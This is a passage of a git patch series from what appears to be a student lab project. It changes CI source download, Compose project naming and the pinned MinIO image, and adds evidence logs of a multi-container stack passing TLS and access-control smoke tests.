}} + run: | + archive="$(mktemp)" + trap 'rm -f -- "$archive"' EXIT + curl --fail --silent --show-error --location --retry 2 \ + --connect-timeout 10 --max-time 90 \ + "https://gitea.privcloud.tech/$CI_REPOSITORY/archive/$CI_REVISION.tar.gz" \ + --output "$archive" + tar --extract --gzip --file="$archive" --strip-components=1 - uses: actions/setup-python@v5 with: python-version: '3.12' @@ -18,9 +29,18 @@ jobs: env: COMPOSE_PROJECT_NAME: lab7-ci-${{ github.run_id }}-${{ github.run_attempt }} steps: - - uses: actions/checkout@v4 - with: - persist-credentials: false + - name: Download source at workflow commit + env: + CI_REPOSITORY: ${{ github.repository }} + CI_REVISION: ${{ github.sha }} + run: | + archive="$(mktemp)" + trap 'rm -f -- "$archive"' EXIT + curl --fail --silent --show-error --location --retry 2 \ + --connect-timeout 10 --max-time 90 \ + "https://gitea.privcloud.tech/$CI_REPOSITORY/archive/$CI_REVISION.tar.gz" \ + --output "$archive" + tar --extract --gzip --file="$archive" --strip-components=1 - name: Check Docker runtime run: | docker info --format '{{.ServerVersion}}' diff --git a/evidence/ci-checkout.txt b/evidence/ci-checkout.txt new file mode 100644 index 0000000..1829cce --- /dev/null +++ b/evidence/ci-checkout.txt @@ -0,0 +1,6 @@ +Local verification of the Gitea archive used by CI (download and extraction at the event SHA). +python3 scripts/check_contract.py +PASS: offline skeleton structure, local refs and Python syntax; application NOT tested. +/home/kitsune/visotka/mtusi2026lab7/.venv/bin/python scripts/validate_openapi.py +PASS: full OpenAPI 3.1 and JSON Schema validation; application NOT tested. +PASS archive 494d6365e501fb5da2660ba783d7863ae3f52702 -- 2.54.0 From 2cc9497f98a1ac8736e57ae41f4275d8d2b27ff2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9C=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=20=D0=A8=D0=B5=D0=BF?= =?UTF-8?q?=D1=82=D1=83=D0=BD=D0=BE=D0=B2?= Date: Wed, 11 Nov 2026 15:32:54 +0300 Subject: [PATCH 5/5] Fix MinIO image pull in CI --- .github/workflows/contracts.yml | 10 +- REPORT.md | 11 +- compose.yaml | 2 +- evidence/ci-minio.txt | 488 +++++++++++++++++++++++++++++++ evidence/image-rescan-minio.txt | 15 + evidence/minio-volume-compat.txt | 9 + evidence/trivy-minio.txt | 422 +++++++++++++++++++++++++- scripts/scan_images.sh | 2 +- security/SCAN_TRIAGE.md | 2 +- 9 files changed, 946 insertions(+), 15 deletions(-) create mode 100644 evidence/ci-minio.txt create mode 100644 evidence/image-rescan-minio.txt create mode 100644 evidence/minio-volume-compat.txt diff --git a/.github/workflows/contracts.yml b/.github/workflows/contracts.yml index 534dd65..ff71892 100644 --- a/.github/workflows/contracts.yml +++ b/.github/workflows/contracts.yml @@ -26,8 +26,6 @@ jobs: application: runs-on: ubuntu-latest timeout-minutes: 20 - env: - COMPOSE_PROJECT_NAME: lab7-ci-${{ github.run_id }}-${{ github.run_attempt }} steps: - name: Download source at workflow commit env: @@ -42,9 +40,13 @@ jobs: --output "$archive" tar --extract --gzip --file="$archive" --strip-components=1 - name: Check Docker runtime + env: + CI_RUN_ID: ${{ github.run_id }} run: | docker info --format '{{.ServerVersion}}' docker compose version + attempt="$(python3 -c 'import secrets; print(secrets.token_hex(4))')" + printf 'COMPOSE_PROJECT_NAME=lab7-ci-%s-%s\n' "$CI_RUN_ID" "$attempt" >> "$GITHUB_ENV" - name: Build, bootstrap and wait for both API replicas run: scripts/start.sh - name: Run public HTTPS smoke @@ -52,8 +54,8 @@ jobs: - name: Show service status after failure if: failure() run: | - if test -f compose.yaml; then docker compose ps --all; fi + if test -n "${COMPOSE_PROJECT_NAME:-}"; then docker compose ps --all; fi - name: Stop CI stack if: always() run: | - if test -f compose.yaml; then docker compose down; fi + if test -n "${COMPOSE_PROJECT_NAME:-}"; then docker compose down; fi diff --git a/REPORT.md b/REPORT.md index aafd1f4..66becfb 100644 --- a/REPORT.md +++ b/REPORT.md @@ -73,7 +73,7 @@ python3 student-tests/incidents.py | Python / FastAPI / Starlette / psycopg / Pillow | 3.12.10 / 0.162.4 / 1.7.0 / 3.2.9 / 12.3.0. Lock в `requirements.runtime.lock` | | OTel Python / Collector contrib | 1.45.2 / 0.123.0 | | PostgreSQL / Redis Streams / HAProxy | 16.9-bookworm / 7.4.3-bookworm / 3.0.11-bookworm | -| MinIO / mc | Chainguard RELEASE.2026-11-09 по SHA-256 в Compose / RELEASE.2025-04-16T18-13-26Z с проверкой SHA-256 | +| MinIO / mc | MinIO RELEASE.2025-10-15T17-29-55Z, публичная сборка `alpine/minio` по SHA-256 в Compose / RELEASE.2025-04-16T18-13-26Z с проверкой SHA-256 | | Prometheus / Loki / Tempo / Grafana | v3.2.1 / 3.4.2 / 2.7.2 / 11.6.0-ubuntu | | OpenBao | 2.7.2, Raft с одним узлом | @@ -83,7 +83,12 @@ python3 student-tests/incidents.py через `docker compose down`. Для job нужен изолированный Linux runner с Docker Engine, Compose v2, Python, Bash, Make и OpenSSL. Запуск тех же команд из чистой копии проверен локально на новом Compose-проекте. -[Лог локальной проверки CI-сценария](evidence/ci-smoke.txt). +Каждый запуск получает отдельное имя Compose-проекта, включая повтор того же CI run. +В первом удалённом запуске сборка приложения прошла, но скачивание закреплённого +образа MinIO из cgr.dev вернуло 403. В Compose выбран публичный образ по digest, +проверенный на новом стенде. [Локальный CI-сценарий](evidence/ci-smoke.txt) · +[Проверка с новым образом MinIO](evidence/ci-minio.txt) · +[Чтение данных с копии прежнего тома](evidence/minio-volume-compat.txt). ## Архитектура и решения @@ -207,7 +212,7 @@ Argon2id измерен внутри cgroup API, по 50 verify после од Два параллельных рабочих буфера KDF укладываются в лимит реплики, а общий бюджет ограничивает число допущенных попыток. [Замер KDF](evidence/argon2-cost.txt). -Один замер обычной записи после smoke и сценариев отказа. Команда +Один замер обычной записи после smoke и сценариев отказа. На момент замера использовался образ MinIO от Chainguard. Команда `python3 tests/load.py --duration 30 --concurrency 4 --ca-file "$CA_FILE" --output evidence/load.json`. Closed-loop concurrency 4, 30.046 с, отдельного прогрева в генераторе нет. До замера в БД 31 пользователь, 262 сообщения, 12 вложений. После — 34, diff --git a/compose.yaml b/compose.yaml index e169b98..1814e35 100644 --- a/compose.yaml +++ b/compose.yaml @@ -105,7 +105,7 @@ services: s3: <<: *hardening - image: cgr.dev/chainguard/minio@sha256:616286de6ef3a1892876b126e745e152d8e03add6357203f8a1f854bdd1dce76 + image: docker.io/alpine/minio@sha256:cf23643a6cf9ce159c57643ceb88279e431262282428c9e0bf3a7ef1a97e84b4 user: "10001:10001" command: [server, /data, --address, ":9000", --console-address, "127.0.0.1:9001", --certs-dir, /pki] cpus: 1 diff --git a/evidence/ci-minio.txt b/evidence/ci-minio.txt new file mode 100644 index 0000000..758e38a --- /dev/null +++ b/evidence/ci-minio.txt @@ -0,0 +1,488 @@ + Container mtusi2026lab7-streams-1 Stopping + Container mtusi2026lab7-grafana-1 Stopping + Container mtusi2026lab7-reconciler-1 Stopping + Container mtusi2026lab7-dispatcher-1 Stopping + Container mtusi2026lab7-traces-1 Stopping + Container mtusi2026lab7-api-1 Stopping + Container mtusi2026lab7-metrics-1 Stopping + Container mtusi2026lab7-logs-1 Stopping + Container mtusi2026lab7-api-2 Stopping + Container mtusi2026lab7-lb-1 Stopping + Container mtusi2026lab7-otel-1 Stopping + Container mtusi2026lab7-worker-1 Stopping + Container mtusi2026lab7-streams-1 Stopped + Container mtusi2026lab7-otel-1 Stopped + Container mtusi2026lab7-metrics-1 Stopped + Container mtusi2026lab7-traces-1 Stopped + Container mtusi2026lab7-grafana-1 Stopped + Container mtusi2026lab7-lb-1 Stopped + Container mtusi2026lab7-logs-1 Stopped + Container mtusi2026lab7-api-1 Stopped + Container mtusi2026lab7-api-2 Stopped + Container mtusi2026lab7-dispatcher-1 Stopped + Container mtusi2026lab7-worker-1 Stopped + Container mtusi2026lab7-reconciler-1 Stopped + Container mtusi2026lab7-prometheus-1 Stopping + Container mtusi2026lab7-collector-1 Stopping + Container mtusi2026lab7-tempo-1 Stopping + Container mtusi2026lab7-db-1 Stopping + Container mtusi2026lab7-s3-1 Stopping + Container mtusi2026lab7-openbao-1 Stopping + Container mtusi2026lab7-loki-1 Stopping + Container mtusi2026lab7-broker-1 Stopping + Container mtusi2026lab7-s3-1 Stopped + Container mtusi2026lab7-collector-1 Stopped + Container mtusi2026lab7-prometheus-1 Stopped + Container mtusi2026lab7-tempo-1 Stopped + Container mtusi2026lab7-broker-1 Stopped + Container mtusi2026lab7-loki-1 Stopped + Container mtusi2026lab7-db-1 Stopped + Container mtusi2026lab7-openbao-1 Stopped +Fresh Compose project with digest-pinned public MinIO +docker.io/alpine/minio@sha256:cf23643a6cf9ce159c57643ceb88279e431262282428c9e0bf3a7ef1a97e84b4 +Local PKI updated: bootstrap +#0 building with "default" instance using docker driver + +#1 [s3-bootstrap internal] load build definition from s3.Dockerfile +#1 transferring dockerfile: 922B done +#1 DONE 0.0s + +#2 [api internal] load build definition from Dockerfile +#2 transferring dockerfile: 766B done +#2 DONE 0.0s + +#3 [api internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 ... + +#4 [s3-bootstrap] resolve image config for docker-image://docker.io/docker/dockerfile:1.7.0 +#4 DONE 1.4s + +#3 [api internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 DONE 1.3s + +#5 [api internal] load .dockerignore +#5 transferring context: 196B done +#5 DONE 0.0s + +#6 [api 1/10] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#6 DONE 0.0s + +#7 [api internal] load build context +#7 transferring context: 349.58kB 0.0s done +#7 DONE 0.0s + +#8 [s3-bootstrap] docker-image://docker.io/docker/dockerfile:1.7.0@sha256:dbbd5e059e8a07ff7ea6233b213b36aa516b4c53c645f1817a4dd18b83cbea56 +#8 CACHED + +#9 [api 4/10] RUN pip install --no-cache-dir --requirement requirements.runtime.lock && groupadd --system --gid 10001 app && useradd --system --uid 10001 --gid app --home-dir /nonexistent --shell /usr/sbin/nologin app +#9 CACHED + +#10 [api 6/10] COPY --chown=app:app migrations ./migrations +#10 CACHED + +#11 [api 9/10] COPY --chown=app:app contracts ./contracts +#11 CACHED + +#12 [api 8/10] COPY --chown=app:app student-tests ./student-tests +#12 CACHED + +#13 [api 5/10] COPY --chown=app:app src ./src +#13 CACHED + +#14 [api 2/10] WORKDIR /app +#14 CACHED + +#15 [api 7/10] COPY --chown=app:app scripts ./scripts +#15 CACHED + +#16 [api 3/10] COPY requirements.txt requirements.runtime.lock ./ +#16 CACHED + +#17 [api 10/10] COPY --chown=app:app lab.json ./lab.json +#17 CACHED + +#18 [api] exporting to image +#18 exporting layers done +#18 writing image sha256:fe1b7ce93b26f13c5bb3f2ad5033f2a58fbc6c30f368f7ab8dbae93e512ee312 done +#18 naming to docker.io/library/mtusi2026lab7-app:1 done +#18 DONE 0.0s + +#3 [s3-bootstrap internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#3 DONE 1.5s + +#19 [s3-bootstrap internal] load .dockerignore +#19 transferring context: 196B done +#19 DONE 0.0s + +#6 [s3-bootstrap 1/3] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#6 DONE 0.0s + +#20 [s3-bootstrap internal] load build context +#20 transferring context: 201B done +#20 DONE 0.0s + +#21 [s3-bootstrap 2/3] RUN python - <<'PY' +#21 CACHED + +#22 [s3-bootstrap 3/3] COPY infra/minio-entrypoint.sh /entrypoint.sh +#22 CACHED + +#23 [s3-bootstrap] exporting to image +#23 exporting layers done +#23 writing image sha256:e44f68859279e80d65d6d39ea8b701e05cf3da73f0633f12ebc7def3593f9f36 done +#23 naming to docker.io/library/mtusi2026lab7-mc:2025-04-16 done +#23 DONE 0.0s + Network lab7-s3-ci-ozfpdc_vault Creating + Network lab7-s3-ci-ozfpdc_vault Created + Network lab7-s3-ci-ozfpdc_default Creating + Network lab7-s3-ci-ozfpdc_default Created + Volume "lab7-s3-ci-ozfpdc_tempo_data" Creating + Volume "lab7-s3-ci-ozfpdc_tempo_data" Created + Volume "lab7-s3-ci-ozfpdc_collector_data" Creating + Volume "lab7-s3-ci-ozfpdc_collector_data" Created + Volume "lab7-s3-ci-ozfpdc_broker_data" Creating + Volume "lab7-s3-ci-ozfpdc_broker_data" Created + Volume "lab7-s3-ci-ozfpdc_loki_data" Creating + Volume "lab7-s3-ci-ozfpdc_loki_data" Created + Volume "lab7-s3-ci-ozfpdc_postgres_data" Creating + Volume "lab7-s3-ci-ozfpdc_postgres_data" Created + Volume "lab7-s3-ci-ozfpdc_bao_raft_active" Creating + Volume "lab7-s3-ci-ozfpdc_bao_raft_active" Created + Volume "lab7-s3-ci-ozfpdc_bao_logs" Creating + Volume "lab7-s3-ci-ozfpdc_bao_logs" Created + Volume "lab7-s3-ci-ozfpdc_prometheus_data" Creating + Volume "lab7-s3-ci-ozfpdc_prometheus_data" Created + Volume "lab7-s3-ci-ozfpdc_grafana_data" Creating + Volume "lab7-s3-ci-ozfpdc_grafana_data" Created + Volume "lab7-s3-ci-ozfpdc_s3_data" Creating + Volume "lab7-s3-ci-ozfpdc_s3_data" Created + Container lab7-s3-ci-ozfpdc-broker-1 Creating + Container lab7-s3-ci-ozfpdc-prometheus-1 Creating + Container lab7-s3-ci-ozfpdc-openbao-1 Creating + Container lab7-s3-ci-ozfpdc-grafana-1 Creating + Container lab7-s3-ci-ozfpdc-db-1 Creating + Container lab7-s3-ci-ozfpdc-tempo-1 Creating + Container lab7-s3-ci-ozfpdc-collector-1 Creating + Container lab7-s3-ci-ozfpdc-loki-1 Creating + Container lab7-s3-ci-ozfpdc-s3-1 Creating + Container lab7-s3-ci-ozfpdc-broker-1 Created + Container lab7-s3-ci-ozfpdc-streams-1 Creating + Container lab7-s3-ci-ozfpdc-prometheus-1 Created + Container lab7-s3-ci-ozfpdc-metrics-1 Creating + Container lab7-s3-ci-ozfpdc-openbao-1 Created + Container lab7-s3-ci-ozfpdc-s3-1 Created + Container lab7-s3-ci-ozfpdc-loki-1 Created + Container lab7-s3-ci-ozfpdc-logs-1 Creating + Container lab7-s3-ci-ozfpdc-tempo-1 Created + Container lab7-s3-ci-ozfpdc-traces-1 Creating + Container lab7-s3-ci-ozfpdc-collector-1 Created + Container lab7-s3-ci-ozfpdc-otel-1 Creating + Container lab7-s3-ci-ozfpdc-grafana-1 Created + Container lab7-s3-ci-ozfpdc-db-1 Created + Container lab7-s3-ci-ozfpdc-streams-1 Created + Container lab7-s3-ci-ozfpdc-metrics-1 Created + Container lab7-s3-ci-ozfpdc-logs-1 Created + Container lab7-s3-ci-ozfpdc-traces-1 Created + Container lab7-s3-ci-ozfpdc-otel-1 Created + Container lab7-s3-ci-ozfpdc-grafana-1 Starting + Container lab7-s3-ci-ozfpdc-tempo-1 Starting + Container lab7-s3-ci-ozfpdc-openbao-1 Starting + Container lab7-s3-ci-ozfpdc-s3-1 Starting + Container lab7-s3-ci-ozfpdc-broker-1 Starting + Container lab7-s3-ci-ozfpdc-prometheus-1 Starting + Container lab7-s3-ci-ozfpdc-collector-1 Starting + Container lab7-s3-ci-ozfpdc-loki-1 Starting + Container lab7-s3-ci-ozfpdc-db-1 Starting + Container lab7-s3-ci-ozfpdc-collector-1 Started + Container lab7-s3-ci-ozfpdc-otel-1 Starting + Container lab7-s3-ci-ozfpdc-otel-1 Started + Container lab7-s3-ci-ozfpdc-loki-1 Started + Container lab7-s3-ci-ozfpdc-logs-1 Starting + Container lab7-s3-ci-ozfpdc-s3-1 Started + Container lab7-s3-ci-ozfpdc-logs-1 Started + Container lab7-s3-ci-ozfpdc-broker-1 Started + Container lab7-s3-ci-ozfpdc-streams-1 Starting + Container lab7-s3-ci-ozfpdc-db-1 Started + Container lab7-s3-ci-ozfpdc-grafana-1 Started + Container lab7-s3-ci-ozfpdc-prometheus-1 Started + Container lab7-s3-ci-ozfpdc-metrics-1 Starting + Container lab7-s3-ci-ozfpdc-tempo-1 Started + Container lab7-s3-ci-ozfpdc-traces-1 Starting + Container lab7-s3-ci-ozfpdc-openbao-1 Started + Container lab7-s3-ci-ozfpdc-streams-1 Started + Container lab7-s3-ci-ozfpdc-traces-1 Started + Container lab7-s3-ci-ozfpdc-metrics-1 Started + Container lab7-s3-ci-ozfpdc-s3-1 Waiting + Container lab7-s3-ci-ozfpdc-tempo-1 Waiting + Container lab7-s3-ci-ozfpdc-streams-1 Waiting + Container lab7-s3-ci-ozfpdc-db-1 Waiting + Container lab7-s3-ci-ozfpdc-traces-1 Waiting + Container lab7-s3-ci-ozfpdc-openbao-1 Waiting + Container lab7-s3-ci-ozfpdc-prometheus-1 Waiting + Container lab7-s3-ci-ozfpdc-collector-1 Waiting + Container lab7-s3-ci-ozfpdc-logs-1 Waiting + Container lab7-s3-ci-ozfpdc-loki-1 Waiting + Container lab7-s3-ci-ozfpdc-metrics-1 Waiting + Container lab7-s3-ci-ozfpdc-grafana-1 Waiting + Container lab7-s3-ci-ozfpdc-broker-1 Waiting + Container lab7-s3-ci-ozfpdc-otel-1 Waiting + Container lab7-s3-ci-ozfpdc-grafana-1 Healthy + Container lab7-s3-ci-ozfpdc-loki-1 Healthy + Container lab7-s3-ci-ozfpdc-logs-1 Healthy + Container lab7-s3-ci-ozfpdc-tempo-1 Healthy + Container lab7-s3-ci-ozfpdc-openbao-1 Healthy + Container lab7-s3-ci-ozfpdc-otel-1 Healthy + Container lab7-s3-ci-ozfpdc-streams-1 Healthy + Container lab7-s3-ci-ozfpdc-s3-1 Healthy + Container lab7-s3-ci-ozfpdc-metrics-1 Healthy + Container lab7-s3-ci-ozfpdc-traces-1 Healthy + Container lab7-s3-ci-ozfpdc-broker-1 Healthy + Container lab7-s3-ci-ozfpdc-prometheus-1 Healthy + Container lab7-s3-ci-ozfpdc-collector-1 Healthy + Container lab7-s3-ci-ozfpdc-db-1 Healthy +OpenBao operator action completed: bootstrap +Applied 001_initial.sql +Applied 002_idempotency.sql +Applied 003_attachments.sql +Applied 004_pipeline.sql +Applied 005_observability.sql +Applied 006_security.sql +Applied 007_private_database.sql +Private bucket and scoped accounts ready + Container lab7-s3-ci-ozfpdc-api-2 Creating + Container lab7-s3-ci-ozfpdc-worker-1 Creating + Container lab7-s3-ci-ozfpdc-reconciler-1 Creating + Container lab7-s3-ci-ozfpdc-api-1 Creating + Container lab7-s3-ci-ozfpdc-lb-1 Creating + Container lab7-s3-ci-ozfpdc-dispatcher-1 Creating + Container lab7-s3-ci-ozfpdc-api-2 Created + Container lab7-s3-ci-ozfpdc-api-1 Created + Container lab7-s3-ci-ozfpdc-lb-1 Created + Container lab7-s3-ci-ozfpdc-reconciler-1 Created + Container lab7-s3-ci-ozfpdc-dispatcher-1 Created + Container lab7-s3-ci-ozfpdc-worker-1 Created + Container lab7-s3-ci-ozfpdc-dispatcher-1 Starting + Container lab7-s3-ci-ozfpdc-lb-1 Starting + Container lab7-s3-ci-ozfpdc-reconciler-1 Starting + Container lab7-s3-ci-ozfpdc-api-2 Starting + Container lab7-s3-ci-ozfpdc-worker-1 Starting + Container lab7-s3-ci-ozfpdc-api-2 Started + Container lab7-s3-ci-ozfpdc-api-1 Starting + Container lab7-s3-ci-ozfpdc-lb-1 Started + Container lab7-s3-ci-ozfpdc-worker-1 Started + Container lab7-s3-ci-ozfpdc-dispatcher-1 Started + Container lab7-s3-ci-ozfpdc-reconciler-1 Started + Container lab7-s3-ci-ozfpdc-api-1 Started +Ready aliases: a69d87e570714eb18287d916c7af5b7b, ac2b72a9aceb40f38659f4914003edae +python3 tests/smoke.py --base-url "https://localhost:8443" --ca-file "/tmp/lab7-s3-ci.ozFPDc/secrets/authority/ca.crt" +PASS: lab7 public API scenario; infrastructure and grading evidence remain separate. +PASS two API addresses resolved +PASS API 1 allows active LB +PASS API 1 rejects missing cert +PASS API 1 rejects foreign +PASS API 1 rejects intruder +PASS API 2 allows active LB +PASS API 2 rejects missing cert +PASS API 2 rejects foreign +PASS API 2 rejects intruder +PASS Collector rejects missing cert +PASS Collector rejects foreign +PASS Collector rejects intruder +PASS Collector allows api OTLP +PASS Collector allows worker OTLP +PASS Collector allows dispatcher OTLP +PASS Collector allows reconciler OTLP +PASS Collector scrape 8888 permits only scraper +PASS Collector scrape 8889 permits only scraper +PASS broker allows worker +PASS broker rejects missing cert with valid worker Redis password +PASS broker rejects foreign with valid worker Redis password +PASS broker rejects intruder with valid worker Redis password +PASS broker rejects api with valid worker Redis password +PASS broker allows dispatcher +PASS broker rejects missing cert with valid dispatcher Redis password +PASS broker rejects foreign with valid dispatcher Redis password +PASS broker rejects intruder with valid dispatcher Redis password +PASS broker rejects api with valid dispatcher Redis password +PASS Redis producer cannot read stream +PASS Redis worker cannot publish +PASS Redis worker cannot write foreign key +PASS DB verify-full and distinct api login +PASS DB rejects plaintext api login +PASS DB verify-full and distinct worker login +PASS DB rejects plaintext worker login +PASS DB verify-full and distinct dispatcher login +PASS DB rejects plaintext dispatcher login +PASS DB verify-full and distinct reconciler login +PASS DB rejects plaintext reconciler login +PASS DB rejects mismatched SAN +PASS worker cannot read users/passwords +PASS S3 API allowed to list originals via verified HTTPS +PASS S3 application cannot list all buckets (operator privilege) +PASS S3 public health verified over TLS +PASS S3 original is private even with a known object key +PASS S3 API cannot put original +PASS S3 worker cannot list bucket +PASS S3 worker cannot put arbitrary prefix +PASS OpenBao api scoped TTL and secret +PASS OpenBao api denied messenger/data/operator +PASS OpenBao api denied sys/policies/acl/escalate +PASS OpenBao api denied existing worker secret +PASS OpenBao worker scoped TTL and secret +PASS OpenBao worker denied messenger/data/operator +PASS OpenBao worker denied sys/policies/acl/escalate +PASS OpenBao worker denied existing api secret +PASS OpenBao dispatcher scoped TTL and secret +PASS OpenBao dispatcher denied messenger/data/operator +PASS OpenBao dispatcher denied sys/policies/acl/escalate +PASS OpenBao dispatcher denied existing api secret +PASS OpenBao reconciler scoped TTL and secret +PASS OpenBao reconciler denied messenger/data/operator +PASS OpenBao reconciler denied sys/policies/acl/escalate +PASS OpenBao reconciler denied existing api secret +PASS OpenBao same-CA intruder cannot assume API role +PASS OpenBao worker credential has no operator access +PASS prometheus data source read role +PASS prometheus denies application reads +PASS loki data source read role +PASS loki denies application reads +PASS tempo data source read role +PASS tempo denies application reads +PASS Loki denies Grafana ingest +PASS Tempo denies Grafana ingest +PASS Loki permits Collector ingest +PASS Tempo permits Collector ingest +PASS closed plaintext port broker:6379 +PASS closed plaintext port collector:14318 +PASS closed plaintext port collector:18889 +PASS closed plaintext port prometheus:19090 +PASS closed plaintext port loki:13100 +PASS closed plaintext port tempo:13200 +PASS closed plaintext port tempo:14318 +PASS 83 TLS and ACL assertions + Container lab7-s3-ci-ozfpdc-streams-1 Stopping + Container lab7-s3-ci-ozfpdc-openbao-1 Stopping + Container lab7-s3-ci-ozfpdc-lb-1 Stopping + Container lab7-s3-ci-ozfpdc-s3-1 Stopping + Container lab7-s3-ci-ozfpdc-api-1 Stopping + Container lab7-s3-ci-ozfpdc-traces-1 Stopping + Container lab7-s3-ci-ozfpdc-dispatcher-1 Stopping + Container lab7-s3-ci-ozfpdc-worker-1 Stopping + Container lab7-s3-ci-ozfpdc-grafana-1 Stopping + Container lab7-s3-ci-ozfpdc-api-2 Stopping + Container lab7-s3-ci-ozfpdc-reconciler-1 Stopping + Container lab7-s3-ci-ozfpdc-logs-1 Stopping + Container lab7-s3-ci-ozfpdc-db-1 Stopping + Container lab7-s3-ci-ozfpdc-otel-1 Stopping + Container lab7-s3-ci-ozfpdc-metrics-1 Stopping + Container lab7-s3-ci-ozfpdc-otel-1 Stopped + Container lab7-s3-ci-ozfpdc-otel-1 Removing + Container lab7-s3-ci-ozfpdc-streams-1 Stopped + Container lab7-s3-ci-ozfpdc-streams-1 Removing + Container lab7-s3-ci-ozfpdc-otel-1 Removed + Container lab7-s3-ci-ozfpdc-collector-1 Stopping + Container lab7-s3-ci-ozfpdc-streams-1 Removed + Container lab7-s3-ci-ozfpdc-broker-1 Stopping + Container lab7-s3-ci-ozfpdc-metrics-1 Stopped + Container lab7-s3-ci-ozfpdc-metrics-1 Removing + Container lab7-s3-ci-ozfpdc-metrics-1 Removed + Container lab7-s3-ci-ozfpdc-prometheus-1 Stopping + Container lab7-s3-ci-ozfpdc-grafana-1 Stopped + Container lab7-s3-ci-ozfpdc-grafana-1 Removing + Container lab7-s3-ci-ozfpdc-grafana-1 Removed + Container lab7-s3-ci-ozfpdc-logs-1 Stopped + Container lab7-s3-ci-ozfpdc-logs-1 Removing + Container lab7-s3-ci-ozfpdc-s3-1 Stopped + Container lab7-s3-ci-ozfpdc-s3-1 Removing + Container lab7-s3-ci-ozfpdc-logs-1 Removed + Container lab7-s3-ci-ozfpdc-loki-1 Stopping + Container lab7-s3-ci-ozfpdc-s3-1 Removed + Container lab7-s3-ci-ozfpdc-db-1 Stopped + Container lab7-s3-ci-ozfpdc-db-1 Removing + Container lab7-s3-ci-ozfpdc-db-1 Removed + Container lab7-s3-ci-ozfpdc-broker-1 Stopped + Container lab7-s3-ci-ozfpdc-broker-1 Removing + Container lab7-s3-ci-ozfpdc-broker-1 Removed + Container lab7-s3-ci-ozfpdc-collector-1 Stopped + Container lab7-s3-ci-ozfpdc-collector-1 Removing + Container lab7-s3-ci-ozfpdc-collector-1 Removed + Container lab7-s3-ci-ozfpdc-lb-1 Stopped + Container lab7-s3-ci-ozfpdc-lb-1 Removing + Container lab7-s3-ci-ozfpdc-lb-1 Removed + Container lab7-s3-ci-ozfpdc-prometheus-1 Stopped + Container lab7-s3-ci-ozfpdc-prometheus-1 Removing + Container lab7-s3-ci-ozfpdc-prometheus-1 Removed + Container lab7-s3-ci-ozfpdc-openbao-1 Stopped + Container lab7-s3-ci-ozfpdc-openbao-1 Removing + Container lab7-s3-ci-ozfpdc-openbao-1 Removed + Container lab7-s3-ci-ozfpdc-loki-1 Stopped + Container lab7-s3-ci-ozfpdc-loki-1 Removing + Container lab7-s3-ci-ozfpdc-loki-1 Removed + Container lab7-s3-ci-ozfpdc-traces-1 Stopped + Container lab7-s3-ci-ozfpdc-traces-1 Removing + Container lab7-s3-ci-ozfpdc-traces-1 Removed + Container lab7-s3-ci-ozfpdc-tempo-1 Stopping + Container lab7-s3-ci-ozfpdc-tempo-1 Stopped + Container lab7-s3-ci-ozfpdc-tempo-1 Removing + Container lab7-s3-ci-ozfpdc-tempo-1 Removed + Container lab7-s3-ci-ozfpdc-api-1 Stopped + Container lab7-s3-ci-ozfpdc-api-1 Removing + Container lab7-s3-ci-ozfpdc-api-1 Removed + Container lab7-s3-ci-ozfpdc-api-2 Stopped + Container lab7-s3-ci-ozfpdc-api-2 Removing + Container lab7-s3-ci-ozfpdc-api-2 Removed + Container lab7-s3-ci-ozfpdc-worker-1 Stopped + Container lab7-s3-ci-ozfpdc-worker-1 Removing + Container lab7-s3-ci-ozfpdc-worker-1 Removed + Container lab7-s3-ci-ozfpdc-reconciler-1 Stopped + Container lab7-s3-ci-ozfpdc-reconciler-1 Removing + Container lab7-s3-ci-ozfpdc-dispatcher-1 Stopped + Container lab7-s3-ci-ozfpdc-dispatcher-1 Removing + Container lab7-s3-ci-ozfpdc-reconciler-1 Removed + Container lab7-s3-ci-ozfpdc-dispatcher-1 Removed + Network lab7-s3-ci-ozfpdc_vault Removing + Network lab7-s3-ci-ozfpdc_default Removing + Network lab7-s3-ci-ozfpdc_vault Removed + Network lab7-s3-ci-ozfpdc_default Removed + Container mtusi2026lab7-broker-1 Starting + Container mtusi2026lab7-s3-1 Starting + Container mtusi2026lab7-openbao-1 Starting + Container mtusi2026lab7-prometheus-1 Starting + Container mtusi2026lab7-loki-1 Starting + Container mtusi2026lab7-collector-1 Starting + Container mtusi2026lab7-tempo-1 Starting + Container mtusi2026lab7-db-1 Starting + Container mtusi2026lab7-broker-1 Started + Container mtusi2026lab7-collector-1 Started + Container mtusi2026lab7-prometheus-1 Started + Container mtusi2026lab7-db-1 Started + Container mtusi2026lab7-tempo-1 Started + Container mtusi2026lab7-s3-1 Started + Container mtusi2026lab7-loki-1 Started + Container mtusi2026lab7-openbao-1 Started +OpenBao operator action completed: unseal + Container mtusi2026lab7-worker-1 Starting + Container mtusi2026lab7-logs-1 Starting + Container mtusi2026lab7-streams-1 Starting + Container mtusi2026lab7-lb-1 Starting + Container mtusi2026lab7-dispatcher-1 Starting + Container mtusi2026lab7-metrics-1 Starting + Container mtusi2026lab7-grafana-1 Starting + Container mtusi2026lab7-reconciler-1 Starting + Container mtusi2026lab7-otel-1 Starting + Container mtusi2026lab7-traces-1 Starting + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-traces-1 Started + Container mtusi2026lab7-streams-1 Started + Container mtusi2026lab7-otel-1 Started + Container mtusi2026lab7-logs-1 Started + Container mtusi2026lab7-metrics-1 Started + Container mtusi2026lab7-worker-1 Started + Container mtusi2026lab7-grafana-1 Started + Container mtusi2026lab7-lb-1 Started + Container mtusi2026lab7-dispatcher-1 Started + Container mtusi2026lab7-reconciler-1 Started + Container mtusi2026lab7-api-2 Started + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-api-1 Started +Ready aliases: 5601507c078645a09f867826c3eaf162, e5fc8e831bf34511a3027ee2c92d71bf diff --git a/evidence/image-rescan-minio.txt b/evidence/image-rescan-minio.txt new file mode 100644 index 0000000..60b45a4 --- /dev/null +++ b/evidence/image-rescan-minio.txt @@ -0,0 +1,15 @@ +Scanning minio 